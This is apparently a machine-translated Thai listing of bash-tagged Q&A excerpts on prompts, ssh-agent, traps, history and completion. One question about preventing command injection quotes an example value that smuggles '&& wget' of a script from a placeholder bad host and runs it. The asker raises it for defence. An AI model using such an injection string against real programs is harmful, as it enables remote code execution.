คำถามติดแท็ก bash

คำถามเฉพาะของ Bourne อีกครั้งของเชลล์ใน GNU เมื่อเทียบกับเชลล์ Bourne / POSIX อื่น ๆ สำหรับคำถามเกี่ยวกับเชลล์ Unix โดยทั่วไปให้ใช้ / เชลล์แท็กแทน

3
วิธีรวมคำสั่งใน PS1 ของ Bash โดยไม่หยุดการคำนวณความยาวบรรทัด
Tonin ชี้ให้เห็นข้อผิดพลาดในของฉันพรอมต์เริ่มต้น ตัวอย่างที่น้อยที่สุด: ตั้งค่า PS1: PS1='$(exit_code=$?; [[ $exit_code -eq 0 ]] || printf %s $(tput setaf 1) $exit_code $(tput sgr0) " ")$ ' ณ จุดนี้พรอมต์จะมีลักษณะดังนี้: $ ทริกเกอร์เอาท์พุทรหัสออกจากการทำงาน: false ตอนนี้พรอมต์ประกอบด้วยรหัสออกเป็นสีแดงที่จุดเริ่มต้นของบรรทัด: 1 $ กด-Ctrlr พิมพ์ "false" ตอนนี้พรอมต์มีเฉพาะการค้นหา: (reverse-i-search)`false': false Enterกด ประวัติเทอร์มินัลที่ได้รับจะมีสิ่งต่อไปนี้: 1 $ch)`false': false ผลลัพธ์ที่คาดหวัง: 1 $ false นั่นคือดูเหมือนว่าเอาต์พุตการค้นหาประวัติจะถูกผสมกับพรอมต์และซ่อนคำสั่งจริงที่ถูกเรียกใช้ ฉันพยายามหลีกเลี่ยงปัญหานี้โดยใช้PROMPT_COMMAND : set_exit_code() …
13 bash  prompt 

4
เติมไฟล์อัตโนมัติใหม่ล่าสุด
ฉันมีกระบวนการที่สร้างไฟล์ข้อความที่มีชื่อไฟล์ตามการประทับเวลาของช่วงเวลาของการสร้าง: $ ls 1378971222.txt 1378971254.txt 1378971482.txt 1378971488.txt 1378972089.txt 1378972140.txt 1378972141.txt 1378972153.txt 1378972155.txt 1378972241.txt ฉันจะเติมชื่อไฟล์ของไฟล์ที่สร้างล่าสุดโดยอัตโนมัติเช่นไฟล์ที่มี mtime ล่าสุดได้อย่างไร ไม่มีวิธีที่จะใช้ Tab-completion สำหรับไฟล์เหล่านี้เนื่องจากตัวละครเกือบทุกตัวในชื่อไฟล์จะถูกแชร์กับไฟล์อื่น ฉันหวังว่าจะหาทางลัด (เช่นการAlt .เติมข้อความอัตโนมัติครั้งสุดท้ายของคำสั่งสุดท้าย) ฉันมีการจัดการที่จะกุเรื่องนามแฝงต่อไปนี้ซึ่งเป็นที่ดีสำหรับVIMแต่ฉันชอบที่จะทราบว่าทางลัดวัตถุประสงค์ทั่วไปอยู่ที่ฉันสามารถใช้กับkde-open, sqlite3และการใช้งานอื่น ๆ alias lastest="vim `ls -t | grep -vE "^total [0-9]*$" | head -n1`"

4
ฉันจะได้สิ่งที่ตรงข้ามกับ `diff -q '- จับคู่ไฟล์ที่เหมือนกันโดยไม่ต้องพิมพ์เนื้อหา
ฉันมีไฟล์จำนวนมากในไดเรกทอรีและฉันต้องการตรวจสอบว่าพวกเขาทั้งหมดไม่ซ้ำกัน สำหรับความเรียบง่ายสมมติว่าผมมีสามไฟล์: foo.txt, และbar.txt baz.txtหากฉันใช้วงนี้ฉันจะตรวจสอบพวกเขาทั้งหมดต่อกัน: $ for f in ./*; do for i in ./*; do diff -q "$f" "$i"; done; done Files bar.txt and baz.txt differ Files bar.txt and foo.txt differ Files baz.txt and bar.txt differ Files baz.txt and foo.txt differ Files foo.txt and bar.txt differ Files foo.txt and …
13 bash  diff 

4
ssh-agent ไม่ได้รับการตั้งค่า (SSH_AUTH_SOCK, SSH_AGENT_PID ไม่ได้ตั้งค่า env vars)
ฉันตั้งค่าบัญชีผู้ใช้ใหม่สำหรับเพื่อนใน Kubuntu 12.04 เมื่อเขาใช้sshเขาได้รับข้อผิดพลาดนี้: ไม่สามารถเปิดการเชื่อมต่อกับตัวแทนการตรวจสอบความถูกต้องของคุณ เรากำลังทำงานsshในสคริปต์ทุบตี หลังจากดูสิ่งต่าง ๆ มากมายที่สามารถนำไปสู่ข้อผิดพลาดนั้นฉันได้พบกับวิธีแก้ไขปัญหานี้: $ eval `ssh-agent -s` $ ssh-add ~/.ssh/some_id_rsa จากนั้นเขาสามารถเรียกใช้sshคำสั่ง (และสคริปต์ทุบตี) ตามที่คาดไว้ ก่อนรันสองคำสั่งตัวแปร env ไม่ได้ถูกตั้งค่าในเทอร์มินัล: $ echo $SSH_AGENT_PID $ echo $SSH_AUTH_SOCK $ หลังจากรันคำสั่งตัวแปร env จะถูกตั้งค่าตามที่คาดไว้ อย่างไรก็ตามพวกเขาไม่ได้อยู่ที่การตั้งค่า (เช่นในเปลือกที่แตกต่างกันหรือหลังจากรีบูตเครื่อง) ฉันต้องการทราบวิธีการตั้งค่าคอมพิวเตอร์ของเขาเพื่อที่เขาจะได้ไม่ต้องเรียกใช้ทั้งสองคำสั่งเพื่อตั้งค่าตัวแปร env ฉันไม่จำเป็นต้องเรียกใช้บนคอมพิวเตอร์ของฉัน (เคย) จนถึงตอนนี้ฉันไม่เห็นสิ่งที่แตกต่างระหว่างเครื่องของเรา ฉันเห็นข้อมูลนี้ในหน้า man แต่ไม่ได้บอกฉันว่า Ubuntu ปกติตั้งค่าตัวแทนโดยอัตโนมัติหรือสิ่งที่เกิดขึ้นบนเครื่องของเพื่อนของฉันเพื่อที่จะไม่ทำงานสำหรับเขา มีสองวิธีหลักในการตั้งค่าเอเจนต์: วิธีแรกคือเอเจนต์เริ่มคำสั่งย่อยใหม่ซึ่งตัวแปรสภาพแวดล้อมบางอย่างจะถูกส่งออกเช่น ssh-agent xterm & ประการที่สองคือเอเจนต์พิมพ์คำสั่งเชลล์ที่ต้องการ …
13 bash  ssh  kubuntu  ssh-agent 

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

2
วิธีการทริกเกอร์ข้อผิดพลาดโดยใช้คำสั่ง Trap
ฉันใช้ Ubuntu 12.04.2 ฉันพยายามใช้คำสั่ง "trap" เพื่อจับภาพผิดปกติหรือข้อผิดพลาดในเชลล์สคริปต์ของฉัน แต่ฉันยังพยายามที่จะออกจาก "Error" ด้วยตนเอง ฉันลองใช้ทางออก 1 แล้ว แต่จะไม่ส่งสัญญาณ "ข้อผิดพลาด" #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func ไม่แน่ใจว่าจะเรียกสัญญาณออก "ผิดพลาด" ด้วยตนเองได้อย่างไร

1
ลบอาร์กิวเมนต์ทั้งหมดในบรรทัดคำสั่ง bash ปัจจุบัน
การใช้^W(unix-word-rubout) ฉันสามารถลบ "word" เดียวจากคำสั่งปัจจุบันใน bash shell ของฉันได้อย่างง่ายดาย อย่างไรก็ตามเมื่อจัดการกับข้อโต้แย้งที่ยกมาที่มีช่องว่าง (หรือข้อโต้แย้งที่ไม่มีเครื่องหมายอัญประกาศที่มีช่องว่างที่หลบหนีแบ็กสแลช) นี้ไม่ได้ทำงานได้ดีเพราะมันจะลบเพียงหนึ่งคำและไม่ใช่อาร์กิวเมนต์ทั้งหมด ดังนั้นฉันกำลังมองหาวิธีลบอาร์กิวเมนต์ทั้งหมด ตัวอย่าง (เคอร์เซอร์อยู่ที่ท้ายเสมอ): $ foo --bar "foo bar" meow [black magic] $ foo --bar "foo bar" [black magic] $ foo --bar [black magic] $ foo
13 bash  readline  inputrc 

4
$ {! FOO} และ zsh
${!FOO}ทำการทดแทนสองครั้งในbashความหมายมันใช้ค่า (สตริง) ของ FOO และใช้มันเป็นชื่อตัวแปร zshไม่รองรับคุณสมบัตินี้ มีวิธีที่จะทำให้งานนี้ในเดียวกันbashและzsh? พื้นหลัง: ฉันมีรายการตัวแปรสภาพแวดล้อมเช่น PATH MAIL EDITOR และต้องการพิมพ์ชื่อตัวแปรก่อนหลังจากนั้นค่าของมัน ใช้งานbashได้ แต่ไม่ใช่zsh: for VAR in LIST do echo $VAR echo ${!VAR} done ควรเป็นไปได้ด้วย "วิธีเก่า" ด้วยevalแต่ฉันไม่สามารถทำงาน: for VAR in LIST do echo $VAR echo `eval \$$VAR` done ฉันไม่เคยจะเข้าใจว่าทำไมฉันถึงไม่สามารถทำการทดแทนอย่างลึกซึ้งโดยพลการอย่างเช่น${${VAR}}หรือแม้ว่า${${${VAR}}}จำเป็นต้องมีดังนั้นคำอธิบายสำหรับสิ่งนั้นก็จะดีเช่นกัน

3
วิธีการกำหนดฟังก์ชั่น Bash ที่สามารถใช้งานได้โดยสคริปต์ที่แตกต่างกัน
ฉันได้กำหนดbashฟังก์ชั่นใน~/.bashrcไฟล์ของฉัน สิ่งนี้ทำให้ฉันใช้มันในเทอร์มินัลเชลล์ อย่างไรก็ตามดูเหมือนว่าจะไม่มีอยู่เมื่อฉันเรียกมันจากภายในสคริปต์ ฉันจะกำหนดbashฟังก์ชั่นที่สคริปต์ใช้งานได้อย่างไร?

1
การเติมเต็มของแท็บ Bash จะขยาย“ ~” ไปเป็น“ / home / ___” เมื่อไม่เคยมีมาก่อน
ก่อนหน้านี้หากผมพิมพ์ก่อนที่มันจะกลายเป็น~/biTab ~/binแต่วันนี้มันเริ่มเปลี่ยนเข้าสู่~/biTab/home/username/bin ฉันอยากได้มันมาก่อน แต่ฉันไม่แน่ใจว่าเกิดอะไรขึ้น ... ฉันเพิ่มสคริปต์เพื่อแก้ไขการทุบตีของฉัน แต่ฉันลบมันออกจาก~./bashrcเซิร์ฟเวอร์แล้วรีสตาร์ทเซิร์ฟเวอร์ ไม่มีใครรู้ว่าสิ่งนี้จะทำให้เกิดขึ้น? หรือว่าฉันจะเปลี่ยนมันกลับมา? แก้ไข ดังนั้นฉันจึงพบสิ่งที่อาจทำให้เกิดสิ่งนี้ ... มันเกี่ยวข้องกับ/etc/bash_completionและสิ่งต่าง ๆ เช่นนั้น เมื่อฉันทำbind -vมันแสดงให้เห็นการขยายตัวตัวหนอนที่จะปิด ดังนั้นฉันคิดว่าถ้าฉันแก้ไข (เช่นแฮ็ค) มันจะหายไป แต่นั่นไม่ได้ตอบสนองอะไรเลย - การเปลี่ยนแปลงนี้เกิดขึ้นได้อย่างไรในตอนแรก? ฉันไม่เคยวิ่งอะไรเลยsudoและหลังจากปิดหลายครั้งและเริ่มต้นพฤติกรรมนี้ใหม่อีกครั้ง

2
วิธีบังคับให้คำ Bash อ้างอิงนามแฝงฟังก์ชันไฟล์และอื่น ๆ
เมื่อพยายามที่จะเพิ่มรายละเอียดให้กับคำถามที่เกี่ยวข้องฉันรู้ว่าฉันไม่ทราบวิธีระบุประเภทคำ Bash ที่มีอยู่เพื่อดำเนินการ ตามที่help typeมีห้าประเภทคำ: นามแฝง คำสำคัญ ฟังก์ชัน builtin ไฟล์ เป็นไปได้สำหรับคำที่มีหลายประเภท ( trueเป็นเพียงตัวอย่าง; คำที่ถูกเขียนทับมากกว่าปกติcd): $ type -a true true is a shell builtin true is /bin/true คุณจะบังคับให้มีการใช้งานคำพ้องความหมายเฉพาะได้อย่างไร จนถึงตอนนี้ตามลำดับความสำคัญ: นามแฝง: นี่เป็นกรณีพิเศษเนื่องจากมีความสำคัญกว่าคำพ้องอื่น ๆ ทั้งหมด การบังคับใช้สิ่งนี้จะเป็นประโยชน์เมื่อคำสั่งควรล้มเหลวหากไม่ได้กำหนดนามแฝง $ คำสำคัญ: $ ฟังก์ชั่น: $ builtin: $ builtin true ไฟล์: $ command true $ $(which true) $ …
13 bash 

5
วิธีการลบคำสั่งในประวัติศาสตร์ที่ตรงกับสตริงที่กำหนด?
ฉันต้องลบคำสั่งทั้งหมดในประวัติของฉันที่ตรงกับสตริง ฉันได้พยายาม: $ history | grep searchstring | cut -d" " -f2 | history -d -bash: history: -d: option requires an argument $ history | grep searchstring | cut -d" " -f2 | xargs history -d xargs: history: No such file or directory $ temparg() { while read i; do …

3
ฉันจะใช้ tee เพื่อเปลี่ยนเส้นทางไปยัง grep ได้อย่างไร
ฉันไม่ค่อยมีประสบการณ์ในการใช้เสื้อยืดดังนั้นฉันหวังว่านี่จะไม่ธรรมดา หลังจากที่ได้ดูหนึ่งในคำตอบที่จะคำถามนี้ฉันมาข้าม beheviour teeแปลก เพื่อให้ฉันออกบรรทัดแรกและบรรทัดที่พบฉันสามารถใช้สิ่งนี้: ps aux | tee >(head -n1) | grep syslog USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND syslog 806 0.0 0.0 34600 824 ? Sl Sep07 0:00 rsyslogd -c4 อย่างไรก็ตามครั้งแรกที่ฉันรันสิ่งนี้ (เป็น zsh) ผลลัพธ์อยู่ในลำดับที่ไม่ถูกต้องส่วนหัวคอลัมน์จะต่ำกว่าผลลัพธ์ grep (นี่ไม่ได้เกิดขึ้นอีกแล้ว) ดังนั้นฉันจึงพยายามสลับคำสั่งรอบ ๆ : ps aux | tee …

2
Bash เน้นไวยากรณ์ของ subshells
เมื่อพิจารณาถึงคำถามจำนวนมากที่เกี่ยวข้องกับ subshells ใน Bash ("ทำไมตัวแปรของฉันไม่เพิ่มในpiped while readloopนี้") ฉันแค่คิดว่ามันดีมากที่จะอ้างถึงตัวแก้ไขหรือบริการที่โค้ด ซึ่งจะถูกดำเนินการใน subshells ถูกจัดรูปแบบแตกต่างจากรหัสดำเนินการในเปลือกแม่ มันอาจจะมีประโยชน์ในฐานะอุปกรณ์การศึกษา (ดูความแตกต่างระหว่างcode | codeและcode < <(code)ทันที) สิ่งนี้มีอยู่ไหม? คะแนนโบนัสหากใครใช้สำหรับ jEdit หรือ VIm เห็นได้ชัดว่าไม่จำเป็นต้องสมบูรณ์แบบ (ไม่มีการเน้นไวยากรณ์ในประสบการณ์ของฉัน) แต่ฉันสงสัยว่าสิ่งต่าง ๆ เช่นนี้(foo=bar; echo $foo;)และcommand | while read ...ไม่ควรยากเกินไปสำหรับการเริ่มต้น

4
ปุ่ม Escape ของ Windows shell (ลบทั้งบรรทัด) ที่เทียบเท่าใน Bash
ในบรรทัดคำสั่งของ Windows (powershell และ cmd) เมื่อคุณกดEscปุ่มขณะที่อยู่บนบรรทัดสิ่งที่คุณพิมพ์ที่พรอมต์จะถูกลบออก ฉันพบว่าการกดปุ่มEscที่ bash prompt ไม่ทำอะไรเลย กดEscแล้วbackspaceลบคำ แต่ต้องทำสำหรับแต่ละคำ ฉันกำลังเรียนรู้การทุบตีเพิ่มขึ้นและบางครั้งก็พิมพ์สิ่งที่โง่อยู่ตรงกลางของเส้นและรู้สึกว่าเป็นการดีกว่าที่จะพิมพ์จากรอยขีดข่วนอีกครั้ง เมื่อต้องการทำสิ่งนี้การกดbackspaceเป็นวิธีเดียวที่ฉันพบจนถึงตอนนี้ คุณทำอะไร? ฉันตระหนักถึงclearคำสั่งและCtrl-Lทางลัด แต่ฉันไม่ได้พูดถึงการล้างข้อมูลเทอร์มินัลทั้งหมด แค่บรรทัด

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.